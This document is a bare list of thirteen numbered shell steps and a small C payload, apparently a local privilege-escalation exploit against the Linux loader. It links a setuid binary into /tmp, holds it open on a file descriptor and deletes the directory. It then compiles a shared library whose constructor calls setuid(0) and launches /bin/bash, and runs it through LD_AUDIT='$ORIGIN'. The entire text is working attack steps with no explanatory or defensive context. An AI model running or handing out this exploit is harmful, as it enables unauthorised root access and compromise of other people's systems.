1.useradd test
2.passwd test
3.mkdir /tmp/exploit
4.ln -s /usr/bin/ping /tmp/exploit/target
5.exec 3< /tmp/exploit/target
6.ls -l /proc/$$/fd/3
7.rm -rf /tmp/exploit
8.ls -l /proc/$$/fd/3
9.vim payload.c
void __attribute__((constructor)) init()
{
setuid(0); system("/bin/bash");
}
10.gcc -w -fPIC -shared -o /tmp/exploit payload.c
11.ls -l /tmp/exploit
12.LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
13.whoami